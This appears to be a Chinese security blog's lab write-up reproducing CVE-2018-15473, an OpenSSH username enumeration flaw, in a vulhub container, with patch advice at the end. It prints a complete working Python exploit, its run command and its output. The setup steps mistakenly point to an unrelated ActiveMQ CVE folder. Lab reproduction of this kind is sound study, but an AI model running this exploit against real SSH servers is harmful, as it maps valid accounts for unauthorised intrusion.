OpenSSH用户名枚举_CVE-2018-15473

admin 2022年1月6日01:38:16安全博客评论17 views8368字阅读27分53秒阅读模式

Vulnhub官方复现教程
https://vulhub.org/

漏洞原理

OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组所维护的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。

OpenSSH 7.7及之前版本中存在用户枚举漏洞,该漏洞源于程序会对有效的和无效的用户身份验证请求发出不同的响应。攻击者可通过发送特制的请求利用该漏洞枚举用户名称。

环境搭建

vulnhub

https://vulhub.org/

检查docker是否运行

1
2
service docker status
service docker start

进入对应漏洞文件夹
路径查找方式(注意大小写):

1
updatedb && locate CVE-2016-3088

在这里插入图片描述

找到对应漏洞的.yml所在的文件夹,就是

1
cd /root/vulhub/activemq/CVE-2016-3088

搭建及运行漏洞环境:

自动化编译环境

1
docker-compose build

运行漏洞环境

1
docker-compose up -d

这里编译和运行的就是.yml文件

漏洞复现

环境启动后,在客户端执行ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [email protected] -p20022,输入密码vulhub,即可登录到容器中。

py脚本:

https://github.com/Rhynorater/CVE-2018-15473-Exploit/blob/master/sshUsernameEnumExploit.py

TypeError: ‘property’ object has no attribute ‘getitem

image-20210316170342398

BUG解决:

把33行、124行、125行的_handler_table改成_client_handler_table可以解决。这个exp调用了paramiko库的非公开接口实现功能,这个库升级后内部接口改名了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#!/usr/bin/env python
###########################################################################
# ____ _____ _____ _ _ #
# / __ \ / ____/ ____| | | | #
# | | | |_ __ ___ _ __ | (___| (___ | |__| | #
# | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | #
# | |__| | |_) | __/ | | |____) |___) | | | | #
# \____/| .__/ \___|_| |_|_____/_____/|_| |_| #
# | | Username Enumeration #
# |_| #
# #
###########################################################################
# Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473) #
# Vulnerability: CVE-2018-15473 #
# Affected Versions: OpenSSH version < 7.7 #
# Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT #
# Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit #
# Email: [email protected] #
# Date: August 20, 2018 #
###########################################################################

import argparse
import logging
import paramiko
import multiprocessing
import socket
import string
import sys
import json
from random import randint as rand
from random import choice as choice
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

# list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
# with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
random_username_list = []
# populate the list
for i in range(3):
user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))
random_username_list.append(user)

# create custom exception
class BadUsername(Exception):
def __init__(self):
pass

# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
pass

# create function to call when username was invalid
def call_error(*args, **kwargs):
raise BadUsername()

# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result = old_parse_service_accept(*args, **kwargs)
#return old add_boolean function so start_client will work again
paramiko.message.Message.add_boolean = old_add_boolean
return result

# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
sock = socket.socket()
sock.connect((args.hostname, args.port))
# instantiate transport
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
# server was likely flooded, retry up to 3 times
transport.close()
if tried < 4:
tried += 1
return checkUsername(username, tried)
else:
print('[-] Failed to negotiate SSH transport')
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
except BadUsername:
return (username, False)
except paramiko.ssh_exception.AuthenticationException:
return (username, True)
#Successful auth(?)
raise Exception("There was an error. Is this the correct version of OpenSSH?")

# function to test target system using the randomly generated usernames
def checkVulnerable():
vulnerable = True
for user in random_username_list:
result = checkUsername(user)
if result[1]:
vulnerable = False
return vulnerable

def exportJSON(results):
data = {"Valid":[], "Invalid":[]}
for result in results:
if result[1] and result[0] not in data['Valid']:
data['Valid'].append(result[0])
elif not result[1] and result[0] not in data['Invalid']:
data['Invalid'].append(result[0])
return json.dumps(data)

def exportCSV(results):
final = "Username, Valid\n"
for result in results:
final += result[0]+", "+str(result[1])+"\n"
return final

def exportList(results):
final = ""
for result in results:
if result[1]:
final+=result[0]+" true!\n"
else:
final+=result[0]+" is not a valid user!\n"
return final

# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error

# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()

def main():
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
sock.close()
except socket.error:
print('[-] Connecting to host failed. Please check the specified host and port.')
sys.exit(1)

# first we run the function to check if host is vulnerable to this CVE
if not checkVulnerable():
# most probably the target host is either patched or running a version not affected by this CVE
print("Target host most probably is not vulnerable or already patched, exiting...")
sys.exit(0)
elif args.username: #single username passed in
result = checkUsername(args.username)
if result[1]:
print(result[0]+" is a valid user!")
else:
print(result[0]+" is not a valid user!")
elif args.userList: #username list passed in
try:
f = open(args.userList)
except IOError:
print("[-] File doesn't exist or is unreadable.")
sys.exit(3)
usernames = map(str.strip, f.readlines())
f.close()
# map usernames to their respective threads
pool = multiprocessing.Pool(args.threads)
results = pool.map(checkUsername, usernames)
try:
if args.outputFile:
outputFile = open(args.outputFile, "w")
except IOError:
print("[-] Cannot write to outputFile.")
sys.exit(5)
if args.outputFormat=='json':
if args.outputFile:
outputFile.writelines(exportJSON(results))
outputFile.close()
print("[+] Results successfully written to " + args.outputFile + " in JSON form.")
else:
print(exportJSON(results))
elif args.outputFormat=='csv':
if args.outputFile:
outputFile.writelines(exportCSV(results))
outputFile.close()
print("[+] Results successfully written to " + args.outputFile + " in CSV form.")
else:
print(exportCSV(results))
else:
if args.outputFile:
outputFile.writelines(exportList(results))
outputFile.close()
print("[+] Results successfully written to " + args.outputFile + " in List form.")
else:
print(exportList(results))
else: # no usernames passed in
print("[-] No usernames provided to check")
sys.exit(4)

if __name__ == '__main__':
main()

运行:

1
python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip

image-20210316170510263

可见,rootexamplevulhubnobody是存在的用户,rootInvaliduserphithon是不存在的用户。

修复意见

厂商补丁:

应用如下补丁可以修复此漏洞,需要重新编译

https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0

厂商升级:

OpenSSH
-———–
新版本OpenSSH-7.8已经修复这个安全问题,请到厂商的主页下载:
链接:
http://www.openssh.com/
http://www.openssh.com/portable.html

参考链接:

http://openwall.com/lists/oss-security/2018/08/15/5
https://github.com/Rhynorater/CVE-2018-15473-Exploit
https://www.anquanke.com/post/id/157607

FROM :b0urne.top | Author:b0urne

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:38:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  OpenSSH用户名枚举_CVE-2018-15473 http://cn-sec.com/archives/722037.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: